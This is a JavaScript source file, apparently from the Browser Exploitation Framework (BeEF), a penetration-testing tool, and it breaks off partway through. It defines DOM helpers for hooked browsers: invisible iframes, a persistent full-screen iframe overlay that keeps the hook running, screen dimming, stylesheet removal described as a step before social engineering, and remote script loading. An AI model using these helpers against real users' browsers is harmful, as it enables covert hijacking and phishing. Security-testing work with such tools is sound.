// // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Provides functionality to manipulate the DOM. * @namespace beef.dom */ beef.dom = { /** * Generates a random ID for HTML elements * @param {String} prefix a custom prefix before the random id. defaults to "beef-" * @return {String} generated id */ generateID: function(prefix) { return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); }, /** * Creates a new element but does not append it to the DOM. * @param {String} type the name of the element. * @param {Array} attributes the attributes of that element. * @return {Array} the created element. */ createElement: function(type, attributes) { var el = document.createElement(type); for(index in attributes) { if(typeof attributes[index] == 'string') { el.setAttribute(index, attributes[index]); } } return el; }, /** * Removes element from the DOM. * @param {Object} el the target element to be removed. */ removeElement: function(el) { if (!beef.dom.isDOMElement(el)) { el = document.getElementById(el); } try { el.parentNode.removeChild(el); } catch (e) { } }, /** * Tests if the object is a DOM element. * @param {Object} the DOM element. * @return {boolean} true if the object is a DOM element. */ isDOMElement: function(obj) { return (obj.nodeType) ? true : false; }, /** * Creates an invisible iframe on the hook browser's page. * @return {array} the iframe. */ createInvisibleIframe: function() { var iframe = this.createElement('iframe', { width: '1px', height: '1px', style: 'visibility:hidden;' }); document.body.appendChild(iframe); return iframe; }, /** * Returns the highest current z-index * @param {Boolean} whether to return an associative array with the height AND the ID of the element * @return {Integer} Highest z-index in the DOM * OR * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING} */ getHighestZindex: function(include_id) { var highest = {'height':0, 'elem':''}; $j('*').each(function() { var current_high = parseInt($j(this).css("zIndex"),10); if (current_high > highest.height) { highest.height = current_high; highest.elem = $j(this).attr('id'); } }); if (include_id) { return highest; } else { return highest.height; } }, /** * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter * is assigned to created iframe tag's src attribute resulting in GET request to that URI. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal * @param {Hash} params: list of params that will be sent in request. * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter * @param {Function} a callback function to fire once the iFrame has loaded * @return {Object} the inserted iFrame * */ createIframe: function(type, params, styles, onload) { var css = {}; if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } else if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } else { css = styles; $j('body').css({'padding':'0px', 'margin':'0px'}); } var iframe = $j('').attr(params).css(css).load(onload).prependTo('body'); return iframe; }, /** * Load the link (href value) in an overlay foreground iFrame. * The BeEF hook continues to run in background. * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses * Framebusting techniques, this will not work. */ persistentIframe: function(){ $j('a').click(function(e) { if ($j(this).attr('href') != '') { e.preventDefault(); beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); $j(document).attr('title', $j(this).html()); document.body.scroll = "no"; document.documentElement.style.overflow = 'hidden'; } }); }, /** * Load a full screen div that is black, or, transparent * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not * @param {Hash} options: a collection of options to customise how the div is configured, as follows: * opacity:0-100 // Lower number = less grayout higher = more of a blackout * // By default this is 70 * zindex: # // HTML elements with a higher zindex appear on top of the gray out * // By default this will use beef.dom.getHighestZindex to always go to the top * bgcolor: (#xxxxxx) // Standard RGB Hex color code * // By default this is #000000 */ grayOut: function(vis, options) { // in any order. Pass only the properties you need to set. var options = options || {}; var zindex = options.zindex || beef.dom.getHighestZindex()+1; var opacity = options.opacity || 70; var opaque = (opacity / 100); var bgcolor = options.bgcolor || '#000000'; var dark=document.getElementById('darkenScreenObject'); if (!dark) { // The dark layer doesn't exist, it's never been created. So we'll // create it here and apply some basic styles. // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917 var tbody = document.getElementsByTagName("body")[0]; var tnode = document.createElement('div'); // Create the layer. tnode.style.position='absolute'; // Position absolutely tnode.style.top='0px'; // In the top tnode.style.left='0px'; // Left corner of the page tnode.style.overflow='hidden'; // Try to avoid making scroll bars tnode.style.display='none'; // Start out Hidden tnode.id='darkenScreenObject'; // Name it so we can find it later tbody.appendChild(tnode); // Add it to the web page dark=document.getElementById('darkenScreenObject'); // Get the object. } if (vis) { // Calculate the page width and height if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) { var pageWidth = document.body.scrollWidth+'px'; var pageHeight = document.body.scrollHeight+'px'; } else if( document.body.offsetWidth ) { var pageWidth = document.body.offsetWidth+'px'; var pageHeight = document.body.offsetHeight+'px'; } else { var pageWidth='100%'; var pageHeight='100%'; } //set the shader to cover the entire page and make it visible. dark.style.opacity=opaque; dark.style.MozOpacity=opaque; dark.style.filter='alpha(opacity='+opacity+')'; dark.style.zIndex=zindex; dark.style.backgroundColor=bgcolor; dark.style.width= pageWidth; dark.style.height= pageHeight; dark.style.display='block'; } else { dark.style.display='none'; } }, /** * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering, * or, re-writing a document this is useful. */ removeStylesheets: function() { $j('link[rel=stylesheet]').remove(); $j('style').remove(); }, /** * Create a form element with the specified parameters, appending it to the DOM if append == true * @param {Hash} params: params to be applied to the form element * @param {Boolean} append: automatically append the form to the body * @return {Object} a form object */ createForm: function(params, append) { var form = $j('
').attr(params); if (append) $j('body').append(form); return form; }, loadScript: function(url) { var s = document.createElement('script'); s.type = 'text/javascript'; s.src = url; $j('body').append(s); }, /** * Get the location of the current page. * @return the location. */ getLocation: function() { return document.location.href; }, /** * Get links of the current page. * @return array of URLs. */ getLinks: function() { var linksarray = []; var links = document.links; for(var i = 0; i